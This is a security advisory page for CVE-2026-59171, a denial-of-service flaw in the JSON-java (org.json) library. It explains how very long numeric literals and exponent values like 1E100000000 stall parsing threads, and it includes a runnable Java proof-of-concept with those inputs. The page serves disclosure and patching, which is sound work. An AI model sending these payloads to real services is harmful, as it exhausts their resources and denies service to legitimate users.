CVE-2026-59171

Denial of Service
Affects
JSON-java
in
JSON-java
No items found.
Versions
<=20260522

Patch Available.

Exclamation circle icon
Patch Available

This Vulnerability has been fixed in the Never-Ending Support (NES) version offered by HeroDevs.

Overview

JSON-java (org.json) is a reference implementation of a JSON package in Java. It provides the JSONObject, JSONArray, and JSONTokener classes used to parse, build, and serialize JSON text, plus converters between JSON and XML, CSV, cookies, and HTTP headers. It is widely embedded as a lightweight JSON layer in Java applications, and the project ships date-stamped releases (e.g. 20230227) rather than semantic versions.

A denial of service vulnerability (CVE-2026-59171) has been identified in the numeric value conversion of JSON-java's JSONObject and XML classes, which allows attackers to exhaust CPU time by sending JSON or XML input that contains very long numeric literals. Short exponent literals such as 1E100000000 can also stall a thread when the application reads them with getBigInteger or optBigInteger.

Per OWASP: The Denial of Service (DoS) attack is focused on making a resource (site, application, server) unavailable for the purpose it was designed.

This issue affects JSON-java versions 20260522 and earlier.

Details

Module Info

Vulnerability Info

This Medium-severity vulnerability is found in the org.json:json package in JSON-java versions 20260522 and earlier.

When JSON-java parses JSON text with new JSONObject(String), new JSONArray(String) or JSONTokener, every unquoted value is passed to JSONObject.stringToValue. XML.toJSONObject passes element text and attribute values to the equivalent XML.stringToValue. Both methods hand any value that starts with a digit or - to stringToNumber, with no limit on its length:

char initial = string.charAt(0);
if ((initial >= '0' && initial <= '9') || initial == '-') {
    try {
        return stringToNumber(string);
    } catch (Exception ignore) {
    }
}
return string;

stringToNumber then builds the number with new BigDecimal(val) for decimal or exponent notation, and with new BigInteger(val) otherwise. Converting a decimal string to a BigInteger takes time that grows faster than linearly with the number of digits, so a single literal of a few hundred thousand digits, well within common request body limits, keeps the parsing thread busy for seconds. Repeating such requests ties up a server's worker threads and denies service to legitimate users.

A short exponent literal is stored compactly as a BigDecimal, so it passes through parsing quickly. It expands only when JSONObject.objectToBigInteger, the helper behind getBigInteger and optBigInteger on both JSONObject and JSONArray, converts it without checking the size of the result:

if (val instanceof BigDecimal){
    return ((BigDecimal) val).toBigInteger();
}
// ...
final String valStr = val.toString();
if(isDecimalNotation(valStr)) {
    return new BigDecimal(valStr).toBigInteger();
}

An 11-character value such as 1E100000000 makes toBigInteger() materialize an integer of about 100 million digits, which stalls the thread for a long time or exhausts the heap.

Steps to Reproduce

  1. Add org.json:json version 20230227 (or any version up to 20260522) to the classpath.
  2. Compile and run the following class:
import org.json.JSONObject;
import org.json.XML;

public class Poc {
    public static void main(String[] args) {
        String digits = "9".repeat(500_000);

        long start = System.currentTimeMillis();
        new JSONObject("{\"x\":" + digits + "}");
        System.out.println("JSONObject: " + (System.currentTimeMillis() - start) + " ms");

        start = System.currentTimeMillis();
        XML.toJSONObject("<r>" + digits + "</r>");
        System.out.println("XML: " + (System.currentTimeMillis() - start) + " ms");

        JSONObject exp = new JSONObject("{\"x\":1e100000000}");
        start = System.currentTimeMillis();
        exp.optBigInteger("x", null);
        System.out.println("optBigInteger: " + (System.currentTimeMillis() - start) + " ms");
    }
}
  1. Observe that each 500,000-digit value takes several seconds to parse and that optBigInteger on the exponent literal blocks for much longer. A fixed version keeps the long literal as a string and returns the default value from optBigInteger almost immediately.

Mitigation

Only the most recent JSON-java release is community-supported. Older releases are End-of-Life and have no publicly available fix; NES for JSON-java is the remedy for them.

Users of the affected components should apply one of the following mitigations:

  • Upgrade org.json:json to release 20260719 or later, which contains the fix.
  • Leverage a commercial support partner like HeroDevs for post-EOL security support.

Credits

Vulnerability Details
Severity
Level
CVSS Assessment
Low
>=0 <4
Medium
>=4 <6
High
>=6 <8
Critical
>=8 <10
Medium
ID
CVE-2026-59171
PROJECT Affected
JSON-java
Versions Affected
<=20260522
NES Versions Affected
Published date
November 5, 2026
≈ Fix date
November 6, 2026
Category
Denial of Service
Vex Document
Download VEXHow do I use it?
Sign up for the latest vulnerability alerts fixed in
NES for JSON-java
Rss feed icon
Subscribe via RSS
or

By submitting the form I acknowledge receipt of our Privacy Policy.

Thanks for signing up for our Newsletter! We look forward to connecting with you.
Oops! Something went wrong while submitting the form.